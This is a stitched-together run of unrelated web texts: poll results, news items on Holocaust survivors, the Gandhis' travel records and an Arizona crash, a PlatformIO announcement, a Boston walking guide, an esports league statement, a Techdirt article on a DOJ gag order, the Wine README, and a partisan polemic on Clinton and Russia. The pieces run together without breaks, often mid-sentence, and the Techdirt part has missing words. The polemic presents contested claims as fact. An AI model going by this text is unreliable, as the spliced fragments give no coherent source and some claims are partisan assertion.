-When we polled Aaron Schock’s favorability rating statewide in 2012, voters were closely divided in their feelings about him with 18% giving him favorable marks and 17% unfavorable ones. Now it’s safe to say any popularity he had has faded away- now only 7% of voters in the state see him positively with 37% holding a negative opinion of him. Even among Republicans Schock’s favorability is a 14/33 spread.
-The Cubs remain the most popular MLB team in the state with 40% identifying as fans of them. The competition for second place is a lot more intense with the White Sox edging out the Cardinals 22% to 19%. No other team has more than 3% fan support. Joe Maddon (53/9 approval) and Mike Matheny (50/6 approval) are both largely popular within their fan bases. Robin Ventura is struggling though with only 16% of Sox fans approving of him to 36% who disapprove. Granted it’s a small sample size of White Sox fans, but those are some of the worst numbers we’ve ever found in our baseball manager approval polling.
Full results hereJerusalem - Twenty Holocaust survivors belatedly celebrated their coming-of-age Monday in a moving Bar Mitzvah ceremony at the Western Wall. The men had all turned 13 during the genocide of Europe’s Jews and were hard-pressed to survive, let alone celebrate.
According to Arutz 7, One survivor relayed that his coming of age had been marked in the Therensienstadt concentration camp. His mother managed to obtain a set of tefillin, and an elderly Jewish man spoke in Hebrew. “I was alone there,” he said. “Today, 80 years later, I have a bar mitzvah with my family.”
Holocaust survivors seen during their Bar Mitzvah ceremony at the Western Wall in Jerusalem’s Old City. 17 Jewish Holocaust survivors who could not celebrate the Bar Mitzvah ceremony at the traditional age of thirteen, decided to pass their Bar Mitzvah belatedly. October 22, 2012. (Credit: FLASH90)
Holocaust survivors seen during their Bar Mitzvah ceremony at the Western Wall in Jerusalem’s Old City. 17 Jewish Holocaust survivors who could not celebrate the Bar Mitzvah ceremony at the traditional age of thirteen, decided to pass their Bar Mitzvah belatedly. October 22, 2012. (Credit: FLASH90)
Holocaust survivors seen during their Bar Mitzvah ceremony at the Western Wall in Jerusalem’s Old City. 17 Jewish Holocaust survivors who could not celebrate the Bar Mitzvah ceremony at the traditional age of thirteen, decided to pass their Bar Mitzvah belatedly. October 22, 2012. (Credit: FLASH90)
Holocaust survivors seen during their Bar Mitzvah ceremony at the Western Wall in Jerusalem’s Old City. 17 Jewish Holocaust survivors who could not celebrate the Bar Mitzvah ceremony at the traditional age of thirteen, decided to pass their Bar Mitzvah belatedly. October 22, 2012. (Credit: FLASH90)
Holocaust survivors seen during their Bar Mitzvah ceremony at the Western Wall in Jerusalem’s Old City. 17 Jewish Holocaust survivors who could not celebrate the Bar Mitzvah ceremony at the traditional age of thirteen, decided to pass their Bar Mitzvah belatedly. October 22, 2012. (Credit: FLASH90)
Holocaust survivors seen during their Bar Mitzvah ceremony at the Western Wall in Jerusalem’s Old City. 17 Jewish Holocaust survivors who could not celebrate the Bar Mitzvah ceremony at the traditional age of thirteen, decided to pass their Bar Mitzvah belatedly. October 22, 2012. (Credit: FLASH90)
Holocaust survivors pray beneath a Jewish prayer shawl during their Bar Mitzvah ceremony at the Western Wall, Judaism’s holiest prayer site, in Jerusalem’s Old City October 22, 2012. On Monday a group of sixteen males survivors of the genocide celebrated the traditional Jewish coming of age ceremony, normally marked at the age of 13. (Credit: REUTERS)
Holocaust survivor Israel Levin (3rd R) reads from a Torah scroll during his Bar Mitzvah ceremony at the Western Wall, Judaism’s holiest prayer site, in Jerusalem’s Old City October 22, 2012. On Monday a group of sixteen males survivors of the genocide, including Levin, celebrated the traditional Jewish coming of age ceremony, normally marked at the age of 13. (Credit: REUTERS)
Holocaust survivors dance during their Bar Mitzvah ceremony at the Western Wall, Judaism’s holiest prayer site, in Jerusalem’s Old City October 22, 2012. On Monday a group of sixteen males survivors of the genocide celebrated the traditional Jewish coming of age ceremony, normally marked at the age of 13. (Credit: REUTERS)
Holocaust survivors pray during their Bar Mitzvah ceremony at the Western Wall, Judaism’s holiest prayer site, in Jerusalem’s Old City October 22, 2012. On Monday a group of sixteen males survivors of the genocide celebrated the traditional Jewish coming of age ceremony, normally marked at the age of 13. (Credit: REUTERS)Sonia Gandhi with Rahul Gandhi Sonia Gandhi with Rahul Gandhi
Early in June this year, United Progressive Alliance (UPA) Chairperson Sonia Gandhi took off for London and her native Italy as political heat from civil society activists over black money and corruption soared in the Capital. In mid-June, Congress General Secretary and MP Rahul Gandhi ushered in his 41st birthday in London and topped up with a Swiss holiday. Both Sonia and Rahul's trips were widely documented in the media but the Lok Sabha secretariat has no information on them. It's common courtesy for MPs to inform the secretariat about trips abroad, even if they are of a personal nature. But since June 2004, the month UPA came to power, the Congress president and her son have not bothered to inform the secretariat about any of their foreign trips.
Frequent Fliers
MPs who have gone abroad on private trips the most Mahmood A. Madani, RLD Trips: 14
Days spent: 116
Countries: UAE, BanglaDesh, Saudi Arabia, US, UK, Canada
Information since: February 2008 N.K. Singh, JD(U) Trips: 13
Days spent: 92
Countries: US, China, Australia, Germany, Greece, Denmark
Information since: May 2008 Badruddin Ajmal, AIUDF Trips: NINE
Days spent: 61
Countries: Saudi Arabia, UAE
Information since: August 2009 Sitaram Yechury, CPI(M) Trips: EIGHT
Days spent: 43
Countries: US, Syria, Spain, China, South Africa, Bangladesh
Information since: September 2009
When India Today filed an application under the Right to Information (RTI) Act to the Lok Sabha secretariat asking for details of personal foreign travel made by MPs since the 14th Lok Sabha, it furnished relevant information for lawmakers other than the Gandhis. The reply from Harish Chander, Deputy Secretary, Lok Sabha, was, "This secretariat attends to work relating to official visits of Indian parliamentary delegations going abroad and maintains record of foreign travel of members of the Lok Sabha in their personal capacity if such travel is intimated by them to the Speaker's office." India Today filed another RTI query specifically asking how many intimations/requests the Lok Sabha secretariat received regarding the foreign travels of Sonia and Rahul during the 14th and 15th Lok Sabhas. The response of K. Sona, under secretary, Lok Sabha, on July 4 was: "Nil."
Even official foreign travel details of the Gandhis are a mystery. In February 2010, Hisar-based activist Ramesh Kumar filed an RTI query with the Prime Minister's Office (PMO) for details of foreign travel made by Sonia Gandhi and followed it up with a second appeal before the Central Information Commission (CIC). PMO and Cabinet secretariat representatives told CIC that they had forwarded the query to the Ministry of Parliamentary Affairs and Ministry of Statistics and Programme Implementation. The Cabinet secretariat told Kumar on July 8, 2011 that his query has been forwarded to the National Advisory Council's (NAC) Central Public Information Officer and PMO. In turn, NAC said it didn't have the details.
"It is disturbing that institutions that run the government have no knowledge of the authority that can furnish details of Sonia Gandhi's foreign travel," says Kumar.We have great news for ARM mbed developers! We have refactored Build System for ARM mbed OS/Framework that doesn’t require initial pre-compilation for the ARM mbed source code (we need it in PlatformIO 2.0).
The first results are impressive! PlatformIO 3.0 Build System requires a few seconds to build WHOLE ARM mbed hal/lib.
Library/Module Managment
PlatformIO 3.0 supports ARM mbed yotta module.json manifest and its features (dependencies, extra includes, etc). Also, you can publish existing yotta module to PlatformIO Library Registry without creating PlatformIO’s library.json manifest. For example
platformio lib register https://raw.githubusercontent.com/ARMmbed/ble/master/module.json
See ble library in the registry.
BBC micro:bit
We also introduced support for BBC micro:bit. See build output of microbit-hello-world example with the new PlatformIO 3.0 Library Build System in action
New Build System
PlatformIO 3.0 will allow you to work directly with https://github.com/ARMmbed/mbed-os and don’t depend on The PlatformIO Team when new release of ARM mbed OS is out. The only one requirement is to generate “build flags” map for targets that later will be used by PlatformIO Build System. Each new framework-mbed package contains this list. However, if you switch to another version of ARM mbed OS, you need to update them using special simple Python script (we will put it directly to the package).
PlatformIO 3.0 has not been released yet. We plan to release it in a few next weeks when will receive feedback from the beta-testers that they don’t have any problems with the previous PlatformIO 2.0 based projects.
We invite you to help us with testing new build system for ARM mbed. How to try it?
Install PlatformIO 3.0 using the latest development branch. If you already use PlatformIO 3.0 and development platform with ARM mbed framework is installed, then need to delete it using platformio platform uninstall command. Install development platform
# for Atmel SAM pio platform install https://github.com/platformio/platform-atmelsam.git # for ST STM32 pio platform install https://github.com/platformio/platform-ststm32.git # etc...
The full list with PlatformIO 3.0 Development platforms.
4. Check that the version of “Package framework-mbed” is 2.123.0 or above.
pio platform show ststm32 pio platform show atmelsam # etc...
Examples
Travis CI for ST STM32 development platform https://travis-ci.org/platformio/platform-ststm32/builds/153507273
Travis CI for ARM mbed integration tests https://travis-ci.org/platformio/builder-framework-mbed/builds/153520787
Regards,
The PlatformIO TeamThe best way to explore the city of Boston and its history is to follow the Freedom Trail. This route is not only the most popular tourist attraction in Boston, but it is also an excellent way to see how the city developed throughout the years. This 2.5 mile walking route marked by a red brick path, passes many locations significant in the history of the United States and its independence.
Walking along the Freedom Trail is free but you could also join a tour, where they will explain in more detail the history of it. To bes honest, I think it is good either way, but if you are on a budget you should be fine with this complete guide. Some of the locations charge an entrance fee: The Old State House, Old South Meeting House, Paul Revere House, Old North Church and the King’s Chapel. The trail was created in 1951 and now boasts over 4 million walkers a year, so expect some company.
➳ Find all: Hotels in Boston
While there are only 16 official stops along the Freedom Trail, there are several other places along the route worth visiting, so make sure to read this post completely, to not miss all that Boston has to offer! Among the most important sites of interest is the Old South Meeting House, the Old State House and the Faneuil Hall.
Our tour starts at the Boston Common park and ends at the frigate USS Constitution. Although you could start the journey from any of the landmarks, it is always good to start from the beginning.
See our complete trip with many more photos and behind the scenes videos on our TraveLibro account.
Video of our walk along the Freedom Trail in Boston:
The Freedom Trail Walking Map
This map highlights all of the sights on the Freedom Trail and the other spots we think you should visit while you are doing it.
Our Self Guided Freedom Trail Tour: The Freedom Trail Sites
Boston Public Garden
The Boston Public Garden was established in 1837 as the first public botanical garden in America. It is now most notable for its Make Way for Ducklings statues. During the warmer months this is where you can take a ride on the Swan Boats.
Cheers Restaurant
For any Cheers fans out there, visiting the Cheers restaurant is a must. You will recognize the outside view from the show, and the upstairs bar has been rebuilt as a replica from the show’s set. There is no other bar in the world where everybody knows your name.
Boston Common
Just across the street is the Boston Common, created in 1634 as America’s first public park! It has gone through many changes and seen many important events since its creation as a public grazing area. In the winter, get your skates ready for ice skating on Frog Pond.
Massachusetts State House
Atop Beacon Hill sits the Massachusetts State House. The building houses the Massachusetts General Court (state legislature) and the offices of the Governor of Massachusetts.
Free tours are given weekdays from 10am to 3:30 pm, and require a reservation via phone at 617-727-3676.
Park Street Church
The Park Street Church has a beautiful 217 ft. steeple right on the corner of Boston Common. This church served as a focal point for supporting Abolitionist causes in its early days and is still involved in important social issues to this day.
Granary Burying Ground
Adjacent to the church is the Granary Burying Ground. This is the final resting site of many Revolutionary War-era patriots, including Paul Revere, Samuel Adams and John Hancock.
King’s Chapel & Burying Ground
The King’s Chapel began in 1686, but the current stone building was completed in 1754. The chapel is also home to the last and largest bell ever made by Paul Revere, which still rings to this day.
Adjacent to the church is the Burying Ground, which served as Boston’s first burial site and only one from 1630-1660.
Old City Hall & Boston Latin School
The next stop is two in one.The building you will see is the Old City Hall, home to the Boston city council from 1865 to 1969. In front is a statue of Benjamin Franklin, Boston’s first public statue of a person, which actually predates the building by over 20 years.
This is also the former location of the Boston Latin School, the first public school in the United States. There is now a plaque on the sidewalk commemorating the site.
Old Corner Bookstore
The Old Corner Bookstore is no more a quick photo, unless you want a burrito from the Chipotles that now occupies the space. At its height in the 19th century, the Old Corner Bookstore brought in regulars including Ralph Waldo Emerson, Henry David Thoreau, Nathaniel Hawthorne, Charles Dickens, Mark Twain, Henry Wadsworth Longfellow and Harriett Beecher Stowe.
Old South Meeting House
Across the street is the Old South Meeting House, most notable for it being the organizing point for the Boston Tea Party. The building is now a museum and an active gathering place for discussion and free speech.
Old State House
The Old State House is the oldest surviving public building in Boston, built in 1713. It is now a museum with a collection of Revolution-era artifacts that tells a small portion of the history of the revolution in Boston.
At the steps of the old State House is the site of the Boston Massacre, when five protesters were killed by the British Army on March 5, 1770. It was used as propaganda to help fuel the American Revolution.
Faneuil Hall
Just a block away is Faneuil Hall, which has served as a marketplace and a meeting hall since 1743. Inside are several shops along with a museum on the third floor.
Quincy Market
Through the back doors of Faneuil Hall is Quincy Market. It was built in 1825 as an expansion of the full Faneuil Hall. This long building is filled with food stalls as a hallmark location to try local flavors.
New England Holocaust Memorial
Adjacent to Faneuil Hall is the New England Holocaust Memorial. These six glass towers represent the six major extermination camp, the menorah candles and the six million Jews killed in the Holocaust. Take a moment to reflect on the impact of bigotry and evil throughout history and today.
Paul Revere House
The Paul Revere House is the oldest remaining structure in Boston, built around 1680. This is where Paul Revere lived during the American Revolution. While it underwent many changes after Revere moved, it has since been restored to his time, giving a glimpse into the colonial life.
Mike’s Pastry
Little did you know, you are going to be walking past the best cannoli in Boston, from Mike’s Pastry! Located in the heart of Boston’s Little Italy, this pastry shop has everything you need for lunch, dinner or a delicious snack.
Note: The store only accepts cash, so make sure to hit up an ATM before getting here.
Old North Church
You might have learned Longfellow’s famous line “One, if by land, and two, if by sea.” Well, the Old North Church is where these two lanterns hung to warn the militia of the impending movements to the city of Concord. Make sure to take a quick tour inside the church to see where the Revolution began.
Copp’s Hill Burying Ground
USS Constitution
Walking across the Charlestown Bridge, the next stop is the USS Constitution, the oldest commissioned warship afloat in the world. Climb aboard with a free tour provided by an active Navy member.
Bunker Hill Monument
The last stop of The Freedom Trail is Bunker Hill Monument. It was built in memory of the bloody Battle of Bunker Hill, where the newly formed colonial army was able to cause significant damage to the British forces. Also, where these infamous words were uttered: “don’t fire until you see the whites of their eyes!”
Make sure to time your walk through Boston correctly, as the last time you can start climbing the monument is 4:30 p.m. This is perfect in the spring or fall to get the start of the sunset with a panoramic view of the city.
See our complete trip with many more photos and behind the scenes videos on our TraveLibro account.
Freedom Trail: Frequently Asked Questions
To help you on your self-guided tour of the Freedom Trail in Boston we have put together a list of things you must know before heading on your new adventure.
⇟ More articles from Boston that might interest you:
➳ Read More: Top 10 activities to enjoy in Boston in the Winter
➳ Read More: An Hour Long Tour Visiting Breweries in Boston
Save this article for later ⇟MESA, Ariz. - The closure of westbound US 60 was extended to the Loop 202 (Santan) Tuesday early morning after a fatal car-pedestrian crash, according to the Arizona Department of Transportation.
The US 60 was reopened around 10 a.m. Tuesday morning, ADOT said.
Traffic was backed up on the freeway as well as on surface streets in the area. Maricopa County DOT warned that drivers should expect long delays.
A man died after he was struck by multiple vehicles around 3 a.m., according to DPS.
DPS said the man was not a jumper and investigators are looking into why he was hit. The man was found directly under the bridge near the side of the freeway.
REAL-TIME TRAFFIC: http://12ne.ws/traffic
The freeway was first closed Tuesday at Val Vista, but that closure was later extended.
ADOT said US 60 would be shut down for the early morning commute.
In addition to the freeway closure, northbound Val Vista is closed at US 60, according to ADOT.
Copyright 2017 KPNXThe Call of Duty Search and Destroy has a dedicated following, and participation levels for SnD only tournaments on websites such as MLG, PVPLive and UMG will often rival respawn variants involving the professional teams. As a result, the promise of a new tournament with a huge prize pool naturally caused widespread intrigue.
A Twitter account by the name of thebegan Tweeting in September 2017, promising a $40,000 Call of Duty WWII competition. The unknown brand meant people started asking questions about who was running and how they managed to secure such a large volume of cash for their first tournament. Followed by a whole host of big names in the competitive CoD community on Twitter, it added another layer of mystery behind who was behind the project and what it could potentially achieve. In order to find out more, we contacted the owners to raise all of the questions we had. Unfortunately, it looks like the $40,000 on offer is merely a calculation based on a set number of entries paying a set amount per head.My name is Dylan Hemmila, I am the Owner/CEO of SPL. I have been in the United States Navy for almost 5 years now, so integrity and commitment are of the utmost importance with anything I do.I do admit, I have very little INSIDE experience in the large picture of Call of Duty eSports, BUT I have been around in the Search and Destroy scene for 4+ years. I have worked as management for a couple different small eSports organizations in NA, but once the opportunity arose for SPL, I dropped everything I was doing to pursue this full time. I am also working VERY closely with current and past CoD Pros to ensure that everything I do is FOR THE PLAYERS. Everything is being done carefully and the right way. I have been very open to suggestions and questions. There is full transparency between me and the players I have been working with. The Search and Destroy Pro League was created to provide stability, longevity and overall financial growth to the SnD scene. The past couple of years, people that play Search and Destroy have been grinding each and every day, just to be met with $40 prize claims from other 3rd party sites. With the league, players will be provided structure and stability. I grew tired of seeing people complain about low pay outs and lack of growth, while the CWL was thriving.
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Now, for the financial part of SPL. This isn’t your run of the mill tournament or league. There isn’t a $40,000 jackpot waiting in a safe for someone. JUST LIKE ANY OTHER SnD site, you will pay to play. There are 20 spots that need to be filled in the leagues (12 Pro, 8 Challenger). 20 tournaments. You pay to enter a Qualifier, if you win, you are penciled into the league. If you do the simple math, with a rough estimate of $10 to enter per person, there only needs to be 50 teams per tournament to make a $40,000 prize pool. This is the best part, IT CAN GROW. We hope to get 200+ teams per qualifier. The prize pool could be enormous when it’s all said and done. Just like any other site, it will depend on player participation. For example, tournaments on UMG are posted for a $400 prize, but the prize is adjusted accordingly based on entries. The incentive is, there is no small prize claim at the end of each night. The winner will instead wait on the rest of the qualifiers, and play in the league to see who wins the large prize pool. In addition to just the prize pool at the end of each season, we have many other small incentives in the works for players that qualify for either of the leagues.
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It’s advertising mediocre participation, just as UMG or GB would advertise a $1,000 OLT. It could be much much higher, or slightly lower. And just for article sake, $10 is not a finite number, the kinks of that are being worked out. That was just for a rough estimation.This is no scam, this is no joke. I created this league to move the SnD community forward. People that grind day in and day out |
or a traditional subpoena, it was quickly revealed that it was the 2703(d) process, raising many more concerns. The fact that there were also a number of mistakes in the order raised further concerns. The revelation of this order got a lot of press attention, which the DOJIn fact, that's what much of the (now revealed) argument between Google and the DOJ is discussing. Google points out that the identical order in the identical investigation was made public concerning Twitter's involvement, and thus, there is no reason not to make it public for Google too. The DOJ responds about just how incredibly harmful the press attention of the Twitter order is... though they fail to explain a single way it is harmful, other than that some online internet commenters were kindato them. First, the DOJ insisted that it was important that Google be gagged, and then said that Twitter's ungagging "seriously jeopardized the investigation."Of course, the DOJ never actually goes into any detail about how revealing that it was digging for information jeopardized the investigation at all. It just makes these baseless claims. Later, it further argues that unsealing the Twitter order (which it had agreed to allow) was a mistake in hindsight:Why is that? Well, the only argument the government seems to make is that once the Twitter Order was public, people got mad and said not nice things about the DOJ. First, it points to this Glenn Greenwald article from 2011, in which he revealed more details of the original Twitter Order, including the name of the magistrate judge who signed off on it. The DOJ presents this as if it's harassment, though read the article and see if that's reasonable. And then it further claims that the US Attorneys were "harassed on the internet." But the only evidence it provides is this:So some kid gets angry and fires off an angry email to the DOJ with the Anonymous tagline at the end, and the DOJ gets all weak-kneed? Really?Even more bizarre, the DOJ includes a long paragraph talking about how all of thethat Twitter got after the Twitter Order was revealed explains why the Google Order shouldn't be revealed. That is, the DOJ is explicitly saying "man, it would suck if actually protecting the privacy of users became contagious":That does not seem like a legitimate reason for a gag order. It sounds like the DOJ is unwilling to support due process and is afraid to actually have to defend its actions.In response to this, Google quite reasonably points out that the government's argument cancels out its own argument. At one point, for example, the DOJ pointed to one of the people it was seeking information on Tweeting to followers not to send direct messages, and another saying that it's likely that Google and Facebook received similar orders. As Google points out, given that, the targets already suspect what is going on and thus it couldn't possibly make sense to maintain the gag order. As for the "parade of horribles" above, Google rightly points out that none of them show how revealing the Google Order willany of the "problems" it outlined.The fight was put on hold while the individuals in question (including Appelbaum) fought the Twitter Order. And, when that failed, the case picked up again, with the DOJ saying "look, that failed, so this case is over." Google responded, quite reasonably, that whether or not the individuals succeeded in stopping the information disclosure is a wholly separate issue from whether or not the gag order makes sense. Unfortunately, in the end, the court rejected all of Google's arguments. The court relies heavily on the fact that Appelbaum (though, bizarrely, his name is redacted here) tweeted the following : "Do not send me Direct Messages - My twitter account contents have apparently been invited to the (presumably-Grand Jury) in Alexandria."To the court, this is evidence that any disclosure will lead to a change in behavior.Furthermore, the court ridiculously buys into the claims by the DOJ that the "public campaign" supporting Twitter for standing up for the rights of its users is a form of. Really:That concluding line is really incredible:In other words, merely challenging the legitimacy of a gag order with an associated court order to hand over someone's info -- in other wordsis somehow seen as evidence of impeding an investigation. This isFinally, as Lauren Weinstein points out in his own analysis of these newly released documents, this does show just how strongly Google fought the government to block the government from getting access to user info. There is this false belief out there that Google, in particular, has given the government free access to its servers (in part because of an incorrect interpretation of a Snowden document early on). Yet, this highlights how Google actually fought quite hard to protect its users' info (and this all happened more than two years before the Snowden leaks). Indeed, in my original post, about the revelation that Google had received a similar order, we were disappointed that unlike Twitter and Sonic, Google refused to comment. We had no way of knowing that the company had been gagged.Even Appelbaum -- not exactly one to cheer on Google in most settings -- now admits that he's impressed by how strongly Google fought. A few of his tweets explaining this:Separately, he notes that while we know about Twitter, Sonic and Google... we don't know about Facebook or Yahoo, leading him to wonder what happened there:No matter what, this seems like yet another example of the DOJ being out of control and trying to cover up its own actions to keep them out of the public debate, rather than for any legitimate purpose.
Filed Under: doj, free speech, gag order, jacob appelbaum
Companies: google, twitter, wikileaks1. INTRODUCTION Wine is a program which allows running Microsoft Windows programs (including DOS, Windows 3.x, Win32, and Win64 executables) on Unix. It consists of a program loader which loads and executes a Microsoft Windows binary, and a library (called Winelib) that implements Windows API calls using their Unix or X11 equivalents. The library may also be used for porting Windows code into native Unix executables. Wine is free software, released under the GNU LGPL; see the file LICENSE for the details. 2. QUICK START Whenever you compile from source, it is recommended to use the Wine Installer to build and install Wine. From the top-level directory of the Wine source (which contains this file), run:./tools/wineinstall Run programs as "wine program". For more information and problem resolution, read the rest of this file, the Wine man page, and especially the wealth of information found at http://www.winehq.org. 3. REQUIREMENTS To compile and run Wine, you must have one of the following: Linux version 2.0.36 or later FreeBSD 8.0 or later Solaris x86 9 or later NetBSD-current Mac OS X 10.5 or later As Wine requires kernel-level thread support to run, only the operating systems mentioned above are supported. Other operating systems which support kernel threads may be supported in the future. FreeBSD info: Wine will generally not work properly on versions before FreeBSD 8.0. See http://wiki.freebsd.org/Wine for more information. Solaris info: You will most likely need to build Wine with the GNU toolchain (gcc, gas, etc.). Warning : installing gas does *not* ensure that it will be used by gcc. Recompiling gcc after installing gas or symlinking cc, as and ld to the gnu tools is said to be necessary. NetBSD info: Make sure you have the USER_LDT, SYSVSHM, SYSVSEM, and SYSVMSG options turned on in your kernel. Mac OS X info: You need Xcode 2.4 or later to build properly on x86. The Mac driver requires OS X 10.6 or later and won't be built on 10.5. Supported file systems: Wine should run on most file systems. A few compatibility problems have also been reported using files accessed through Samba. Also, NTFS does not provide all the file system features needed by some applications. Using a native Unix file system is recommended. Basic requirements: You need to have the X11 development include files installed (called xlib6g-dev in Debian and XFree86-devel in Red Hat). Of course you also need "make" (most likely GNU make). You also need flex version 2.5.33 or later and bison. Optional support libraries: Configure will display notices when optional libraries are not found on your system. See http://wiki.winehq.org/Recommended_Packages for hints about the packages you should install. On 64-bit platforms, if compiling Wine as 32-bit (default), you have to make sure to install the 32-bit versions of these libraries; see http://wiki.winehq.org/WineOn64bit for details. If you want a true 64-bit Wine (or a mixed 32-bit and 64-bit Wine setup), see http://wiki.winehq.org/Wine64 for details. 4. COMPILATION In case you chose to not use wineinstall, run the following commands to build Wine:./configure make This will build the program "wine" and numerous support libraries/binaries. The program "wine" will load and run Windows executables. The library "libwine" ("Winelib") can be used to compile and link Windows source code under Unix. To see compile configuration options, do./configure --help. 5. SETUP Once Wine has been built correctly, you can do "make install"; this will install the wine executable and libraries, the Wine man page, and other needed files. Don't forget to uninstall any conflicting previous Wine installation first. Try either "dpkg -r wine" or "rpm -e wine" or "make uninstall" before installing. Once installed, you can run the "winecfg" configuration tool. See the Support area at http://www.winehq.org/ for configuration hints. 6. RUNNING PROGRAMS When invoking Wine, you may specify the entire path to the executable, or a filename only. For example: to run Notepad: wine notepad (using the search Path as specified in wine notepad.exe the registry to locate the file) wine c:\\windows\
otepad.exe (using DOS filename syntax) wine ~/.wine/drive_c/windows/notepad.exe (using Unix filename syntax) wine notepad.exe readme.txt (calling program with parameters) Wine is not perfect, so some programs may crash. If that happens you will get a crash log that you should attach to your report when filing a bug. 7. GETTING MORE INFORMATION WWW: A great deal of information about Wine is available from WineHQ at http://www.winehq.org/ : various Wine Guides, application database, bug tracking. This is probably the best starting point. FAQ: The Wine FAQ is located at http://www.winehq.org/FAQ Wiki: The Wine Wiki is located at http://wiki.winehq.org Mailing lists: There are several mailing lists for Wine users and developers; see http://www.winehq.org/forums for more information. Bugs: Report bugs to Wine Bugzilla at http://bugs.winehq.org Please search the bugzilla database to check whether your problem is already known or fixed before posting a bug report. IRC: Online help is available at channel #WineHQ on irc.freenode.net. Git: The current Wine development tree is available through Git. Go to http://www.winehq.org/git for more information. If you add something, or fix a bug, please send a patch (preferably using git-format-patch) to the wine-patches@winehq.org list for inclusion in the next release. -- Alexandre Julliard julliard@winehq.orgThe very best argument against letting the current establishment continue to run the Democratic party is in my opinion the fact that they just ran a candidate against the current administration who fully intended to start a war with Russia. She promised to install a no-fly zone in Syria which top military officials attested would necessitate a war with both Syria and Russia, because it would entail attacking the Syrian and Russian air forces in that region. She was promising this potentially world-ending disaster long before the (still completely unproven) Russian hacking allegations began in July of last year; here’s a transcript of the primary debates from December 2015 in which she was advocating exactly that on national television months into the Russian air force’s campaign against ISIS in that region. Here’s an Al Jazeera article from the same month pointing out the obvious implications of this insane strategy.
Make no mistake, installing a no-fly zone in a sovereign nation can only ever be a tacit declaration of war. If China were to declare a no-fly zone over Great Britain right now, invading that nation and shooting down anything that flies as a matter of policy, what do you think would happen? Obviously China would instantly be at war with the UK and its allies. I still have Democratic party loyalists trying to tell me that Hillary’s no-fly zone was a far cry from warmongering. This is as wrong as wrong gets, and the only reason they can’t see it is because their moronic partisan hackery still has them thinking that only Republicans can be crazy warmongers. In reality, Clinton’s no-fly zone would have required as many as 70,000 US troops to invade Syria and dismantle its sophisticated anti-aircraft system before the no-fly zone —in which Russian and Syrian military planes would be shot out of the sky as a matter of policy— could even begin.
More than four months after America decided not to play along with Hillary’s Russophobic warmongering in November, what is the establishment that attempted to inflict this horror upon us currently doing? Well, besides aggressively defending the corporatist smut novel known as Obamacare instead of pushing for single-payer healthcare, they are, surprise surprise, still trying to escalate tensions with Russia. They are, along with the neocons (many of whom refused to endorse Trump over Clinton), still beating the “Russia hacked the election” drum despite having provided zero proof of this to the public, and despite the WikiLeaks revelation that the CIA has been deliberately cultivating the ability to forge signs of Russian cyber intrusions. They have also begun referring to those unproven cyber intrusions as a potential “act of war”. The US government has never proclaimed itself to have been on the receiving end of an act of war without intending military repercussions; the last time that phrase was instituted was by the Dubya administration after the 9/11 attacks, when America invaded two nations and began its drone-bombing, regime-toppling “war on terror”.
Isn’t that a little odd? Isn’t it odd how these people are all fanning the flames of anti-Russia sentiment and policy and telling us it’s because of “Russian hacking”, when the candidate they’d just used a rigged primary to nominate was already pushing for a war with Russia long before the Russian hacking allegations ever came out? Again, Clinton was pushing for her no-fly zone in Russia’s longtime ally Syria long before the DNC leaks came out in July of 2016 (which was what sparked the first allegations of Russian hacking), and well after the Russian air force was already occupying Syrian airspace. Clinton seized on the opportunity to double down on her hawkish rhetoric, promising “military responses” for the alleged cyber attacks, but she had already been gunning for an intervention she knew could have only resulted in a direct military confrontation with Russia.
What’s up with that? Why Russia, specifically? If the Dems just needed a scapegoat to blame their spectacular failures on, they could have picked anyone or anything, but they chose the exact country that the woman they’d just tried to force into office was trying to sneak us into a war with. To this day their corporate media mouthpieces are still talking about the Russian hacking allegations as though it’s an established fact and not an unsubstantiated accusation, and they’re working with the neocons to pass legislation forcing the current administration to make the Russia sanctions permanent.
It’s time to face the music, America. The current shrieking Russia hysteria is not about hacking; the Democratic/neocon establishment coalition was already targeting Russia long before any Russian hacking allegations. The current shrieking Russia hysteria is not about Trump; the Democratic/neocon establishment coalition was already targeting Russia long before Trump’s nomination to the Republican candidacy. The current shrieking Russia hysteria is there because the unelected power networks which remain in power amid the comings and goings of elected officials—the plutocrats, the military industrial complex, the intelligence community, and the corporate media who shape which officials get elected in America’s corporatist system— want a war with Russia.
Why do they want a war with Russia? Maybe they want a regime change to give them a compliant puppet like Yeltsin instead of a president who boldly intervenes in key strategic locations that the American deep state wants to keep its fingers in like Crimea and Syria. Maybe they want to stop Russia’s collaboration with its allies to undermine the dominance of the US dollar in that part of the world? It’s hard to say what their motives are, but when someone’s trying to stab you, you don’t worry about their motives, you worry about stopping them. The further into conflict two nuclear superpowers get, the greater the possibility of one of their thousands of nuclear warheads being deployed, either accidentally, on purpose, or a mixture of the two in the fog of war. The last Cold War brought us within a hair’s breadth of nuclear annihilation on more than one occasion, and there’s no reason to believe we’d get lucky again.
Fight the propaganda. Call this insanity what it is. America’s unelected power structures are lying to the American people. Keep shaking everyone awake.
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Thanks for reading! If you enjoyed this, please consider sharing it around, liking me on Facebook, following me on Twitter, or even tossing me some money on Patreon so I can keep this gig up.Founded in 2013, Steel Wool Studios brings decades of creative production experience from companies like Pixar, Intel and TellTale Games. We are a multi-facet Games and VR production studio.
We are one of the original studios that created content for the Valve VR prototype in 2015. We have shipped well reviewed VR projects: Quar Battle for Gate 18, Mars Odyssey, Bounce, Warhammer 40k Horus Heresy: Betrayal at Calth, Ready Player One: Battle for the Oasis.
We helped create an extensive VR installation for NASA’s Kennedy Space Center which was unveiled last Fall that incorporates complex Co-Op gameplay in a location based attraction ride.
From large IP games like Warhammer and Ready Player One, to smaller internally developed games like Bounce and Quar, to contract projects for Google and Nvidia. We are a team that can design, create and deliver.
We are Steel Wool Studios.Make Your Own Video Game System Rediscover the Early Days of Video Gaming using the Arduino Single-Board Computer by Maik Schmidt
Return with us now to those innocent days of yesteryear, when you could identify with the fate of a single pixel in a field of asteroids or up against a wall of bricks.
People use the Arduino microcontroller board for countless different projects. Some use it to create interactive art, some use it automate their home, and some even use it to create games. Often these games are self-contained toys such as remakes of the famous Simon game. For this kind of games you often need only a few LEDs, a piezo buzzer, and sometimes an LC display.
But wouldn’t it be more interesting to create a real video game system—that is, a device that allows you to play different video games like Breakout or Asteroids on your TV? The Arduino makes it surprisingly easy to build such a system and in this article I’ll show you how.
You’ll learn how to generate a monochrome video signal, so you can connect your Arduino directly to your TV set. Also you’ll learn how to hijack a Wii Nunchuk controller, so you can control your games with state-of-the-art gaming hardware. (For the sake of brevity we do not add any sound effects.)
Finally, you’ll learn how to implement a small game. It will be a simulation of the light cycle races from the movie Tron. (We all agree there will always be only one Tron movie and only one Matrix movie, right?)
